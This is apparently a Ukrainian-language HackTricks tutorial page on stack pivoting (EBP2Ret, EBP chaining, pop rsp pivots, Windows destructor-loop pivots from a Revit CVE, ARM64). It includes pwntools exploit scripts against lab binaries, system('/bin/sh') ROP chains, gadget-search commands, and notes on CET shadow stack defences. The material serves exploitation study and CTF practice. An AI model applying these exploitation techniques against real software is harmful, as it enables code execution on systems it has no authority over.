Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Ця техніка використовує здатність маніпулювати Base Pointer (EBP/RBP) для ланцюгового виконання кількох функцій шляхом ретельного використання вказівника кадру та послідовності інструкцій leave; ret
.
Нагадаю, на x86/x86-64 leave
еквівалентна:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Оскільки збережений EBP/RBP знаходиться в стеку перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.
Notes
- На 64-бітних системах замініть EBP→RBP і ESP→RSP. Семантика та сама.
- Деякі компілятори опускають frame pointer (див. “EBP might not be used”). У такому випадку
leave
може не з'являтися й ця техніка не спрацює.
EBP2Ret
Ця техніка особливо корисна, коли ви можете змінити збережений EBP/RBP, але не маєте прямого способу змінити EIP/RIP. Вона використовує поведінку епілогу функції.
Якщо під час виконання fvuln
вам вдасться інжектити fake EBP у стек, який вказує на область пам'яті, де розташовано адресу вашого shellcode/ROP chain (плюс 8 байт на amd64 / 4 байти на x86, щоб врахувати pop
), ви можете опосередковано контролювати RIP. Коли функція повертає, leave
встановлює RSP на створене місце, а наступний pop rbp
зменшує RSP, фактично змушуючи його вказувати на адресу, записану там атакуючим. Потім ret
використає цю адресу.
Зауважте, що вам потрібно знати 2 адреси: адресу, куди вкаже ESP/RSP, і значення, збережене за цією адресою, яке ret
витягне.
Exploit Construction
Спершу вам потрібно знати адресу, куди ви можете записати довільні дані/адреси. RSP вкаже сюди і споживе перший ret
.
Далі потрібно вибрати адресу, яку ret
використає для переміщення виконання. Ви можете використати:
- Коректну ONE_GADGET адресу.
- Адресу
system()
, після якої йдуть відповідний return та аргументи (на x86:ret
target =&system
, потім 4 непотрібні байти, потім&"/bin/sh"
). - Адресу
jmp esp;
gadget (ret2esp) з наступним inline shellcode. - ROP chain, розташований у пам'яті, доступній для запису.
Пам'ятайте, що перед будь-якою з цих адрес у контрольованій області має бути місце для pop ebp/rbp
з leave
(8B на amd64, 4B на x86). Ви можете використати ці байти, щоб встановити другий fake EBP і зберегти контроль після повернення першого виклику.
Off-By-One Exploit
Існує варіант, який використовується, коли ви можете змінити лише найменш значущий байт збереженого EBP/RBP. У такому випадку місце в пам'яті, яке містить адресу для переходу через ret
, має співпадати в перших трьох/п'яти байтах з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб перескочити якомога далі в межах сусідньої сторінки/вирівняного регіону.
Також часто використовують RET sled у стеку і розміщують реальний ROP chain в кінці, щоб підвищити ймовірність того, що новий RSP вкаже всередину sled і фінальний ROP chain буде виконаний.
EBP Chaining
Розмістивши контрольовану адресу в слоті збереженого EBP
у стеку та gadget leave; ret
в EIP/RIP
, можна перемістити ESP/RSP
на адресу, контрольовану атакуючим.
Тепер RSP
контрольований, і наступна інструкція — ret
. Помістіть у контрольованій пам'яті щось на кшталт:
&(next fake EBP)
-> Завантажуєтьсяpop ebp/rbp
зleave
.&system()
-> Викликаєтьсяret
.&(leave;ret)
-> Після завершенняsystem
переміщує RSP до наступного fake EBP і продовжує.&("/bin/sh")
-> Аргумент дляsystem
.
Таким чином можна послідовно зв'язати кілька fake EBP, щоб контролювати потік виконання програми.
Це схоже на ret2lib, але складніше і корисне лише в крайніх випадках.
Більше того, тут є приклад завдання, який використовує цю техніку з stack leak для виклику winning function. Ось фінальний payload зі сторінки:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 порада щодо вирівнювання: System V ABI вимагає 16-байтового вирівнювання стеку в місцях виклику. Якщо ваш chain викликає функції, такі як
system
, додайте alignment gadget (наприклад,ret
, абоsub rsp, 8 ; ret
) перед викликом, щоб зберегти вирівнювання і уникнути крашів черезmovaps
.
EBP може не використовуватися
As explained in this post, якщо бінар скомпільовано з деякими оптимізаціями або з frame-pointer omission, то EBP/RBP ніколи не контролює ESP/RSP. Тому будь-який exploit, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки prologue/epilogue не відновлюють зі frame pointer.
- Не оптимізовано / використовується frame pointer:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Оптимізовано / frame pointer опущено:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 ви часто побачите pop rbp ; ret
замість leave ; ret
, але якщо frame pointer повністю опущено, то немає rbp
-based epilogue, через який можна виконати pivot.
Інші способи контролю RSP
pop rsp
gadget
In this page ви можете знайти приклад використання цієї техніки. Для того завдання потрібно було викликати функцію з 2 конкретними аргументами, і там був pop rsp
gadget і був leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Перевірте техніку ret2esp тут:
Швидкий пошук pivot-ґаджетів
Використовуйте ваш улюблений gadget finder для пошуку класичних pivot-примітивів:
leave ; ret
on functions or in librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oradd esp, <imm> ; ret
on x86)
Приклади:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Класичний pivot staging pattern
Надійна pivot-стратегія, що використовується у багатьох CTFs/exploits:
- Використайте невеликий початковий overflow, щоб викликати
read
/recv
у великий записуваний регіон (наприклад,.bss
, heap або mapped RW memory) і розмістити там повний ROP chain. - Поверніться в pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
), щоб перемістити RSP у цей регіон. - Продовжуйте зі staged chain (наприклад, leak libc, викликати
mprotect
, потімread
shellcode, а потім перейти до нього).
Windows: Destructor-loop weird-machine pivots (аналіз випадку Revit RFA)
Клієнтські парсери іноді реалізують destructor loops, які опосередковано викликають function pointer, отриманий з attacker-controlled полів об'єкта. Якщо кожна ітерація пропонує рівно один indirect call (a “one-gadget” machine), це можна перетворити на надійний stack pivot та ROP entry.
Спостерігалося в Autodesk Revit RFA deserialization (CVE-2025-5037):
- Спеціально сформовані об'єкти типу
AString
розміщують pointer на attacker bytes в оффсеті 0. - Деструкторний цикл фактично виконує по одному gadget на об'єкт:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Два практичні pivots:
- Windows 10 (32-bit heap addrs): нерівно вирівняний “monster gadget”, який містить
8B E0
→mov esp, eax
, згодомret
, щоб переключитися від call primitive до heap-based ROP chain. - Windows 11 (full 64-bit addrs): використовувати два об'єкти, щоб керувати constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(перемістити оригінальний rax у rbp) - Gadget 2:
leave ; ... ; ret
(стаєmov rsp, rbp ; pop rbp ; ret
), що робить pivot у буфер першого об'єкта, де слідує звичайний ROP chain.
- Gadget 1:
Поради для Windows x64 після pivot:
- Дотримуйтеся 0x20-байтного shadow space і підтримуйте 16-байтне вирівнювання перед
call
-викликами. Часто зручно розміщувати літерали над адресою повернення і використовувати гаджет типуlea rcx, [rsp+0x20] ; call rax
, а потімpop rax ; ret
, щоб передавати стекові адреси без корупції керування виконанням. - Non-ASLR helper modules (якщо присутні) забезпечують стабільні набори гаджетів і імпорти, такі як
LoadLibraryW
/GetProcAddress
, щоб динамічно розв’язувати цілі типуucrtbase!system
. - Створення відсутніх гаджетів через writable thunk: якщо перспективна послідовність закінчується
call
через записуваний функціональний вказівник (наприклад, DLL import thunk або вказівник у .data), перезапишіть цей вказівник на нешкідливий single-step, як-отpop rax ; ret
. Тоді послідовність поводитиметься так, ніби вона закінчуваласяret
(наприклад,mov rdx, rsi ; mov rcx, rdi ; ret
), що надзвичайно корисно для завантаження аргументних регістрів Windows x64 без пошкодження інших.
Для повного побудови ланцюга та прикладів гаджетів див. посилання нижче.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Сучасні x86 CPU та ОС дедалі частіше впроваджують CET Shadow Stack (SHSTK). З увімкненим SHSTK, ret
порівнює адресу повернення в звичайному стеку з захищеним апаратно shadow stack; будь-яка невідповідність викликає Control-Protection fault і завершує процес. Тому техніки на кшталт EBP2Ret/leave;ret-based pivots призведуть до аварійного завершення одразу після першого ret
, виконаного зі зсунутого стеку.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Примітки для лабораторій/CTF:
-
Деякі сучасні дистрибутиви вмикають SHSTK для CET-enabled бінарників, коли доступне апаратне забезпечення і glibc. Для контрольованого тестування у VM, SHSTK можна вимкнути системно через kernel boot parameter
nousershstk
, або вибірково вмикати через glibc tunables під час старту (див. посилання). Не вимикайте механізми захисту на продуктивних системах. -
JOP/COOP або SROP-based техніки можуть все ще бути здійсненними на деяких цілях, але SHSTK конкретно ламає
ret
-based pivots. -
Примітка для Windows: Windows 10+ відкриває user-mode, а Windows 11 додає kernel-mode “Hardware-enforced Stack Protection”, побудований на shadow stacks. CET-compatible процеси перешкоджають stack pivoting/ROP на
ret
; розробники підключають підтримку через CETCOMPAT та пов’язані політики (див. посилання).
ARM64
В ARM64 прологи та епілоги функцій не зберігають і не відновлюють регістр SP у стеку. Більше того, інструкція RET
повертає не за адресою, на яку вказує SP, а за адресою в x30
.
Тому за замовчуванням, просто використовуючи епілог, ви не зможете контролювати регістр SP, перезаписуючи якісь дані в стеку. І навіть якщо вам вдасться контролювати SP, вам все одно знадобиться спосіб контролювати x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Шлях виконати щось подібне до stack pivoting в ARM64 — це мати можливість контролювати SP
(керуючи якимось регістром, значення якого потім присвоюють SP
, або через те, що з якоїсь причини SP
бере свою адресу зі стеку і ми маємо overflow), а потім зловживати епілогом, щоб завантажити регістр x30
з контрольованого SP
і RET
до нього.
Також на наступній сторінці можна побачити еквівалент Ret2esp в ARM64:
Посилання
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64-бітна експлуатація типу off-by-one з rop chain, що починається з ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Програма дає leak для stack або pie і WWW qword. Спочатку отримайте stack leak і використайте WWW, щоб повернутися й отримати pie leak. Потім використайте WWW для створення «вічного» циклу, зловживаючи записами в
.fini_array
та викликаючи__libc_csu_fini
(more info here). Зловживаючи цим «вічним» записом, у .bss записується ROP chain і в кінці його викликають, pivot-уючи з RBP. - Документація ядра Linux: Control-flow Enforcement Technology (CET) Shadow Stack — деталі про SHSTK,
nousershstk
, прапори/proc/$PID/status
та ввімкнення черезarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.